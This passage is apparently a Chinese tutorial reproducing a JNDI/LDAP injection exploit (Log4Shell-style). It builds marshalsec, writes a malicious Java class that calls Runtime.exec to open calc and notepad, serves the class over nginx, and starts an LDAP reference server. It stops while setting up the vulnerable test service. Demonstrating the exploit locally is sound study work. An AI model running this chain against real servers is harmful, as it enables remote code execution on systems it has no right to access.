第一步,下载marshalsec 源码进行编译
https://github.com/mbechler/marshalsec
下载后进行编译打包
mvn clean package -DskipTests
得到jar文件
在这里插入图片描述
第二步,编写攻击文件
/**
* 攻击者的恶意代码
*
* @author zhy
* @date 2021/12/23 15:38
*/
public class Zhy {
static {
System.err.println("执行我的代码吧");
try {
// 打开计算器
Runtime.getRuntime().exec("calc");
// 打开记事本
Runtime.getRuntime().exec("notepad");
} catch (Exception e) {
e.printStackTrace();
}
}
}
注意:不能有包名或其他外部引用
第三步,将攻击文件编译后放到服务中,外网可下载
这里使用nginx-1.21.4,可自行下载,然后将Zhy编译后的class文件放到nginx
启动后的端口默认80
第四步,启动LDAP服务
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://127.0.0.1/#Zhy" 1389
http://127.0.0.1 表示第三步启动的nginx服务,默认端口是80
#Zhy 表示nginx服务中上传的类名Zhy.class
1389 表示LDAP服务启动的端口
第五步,搭建测试服务
创建项目,pom文件中引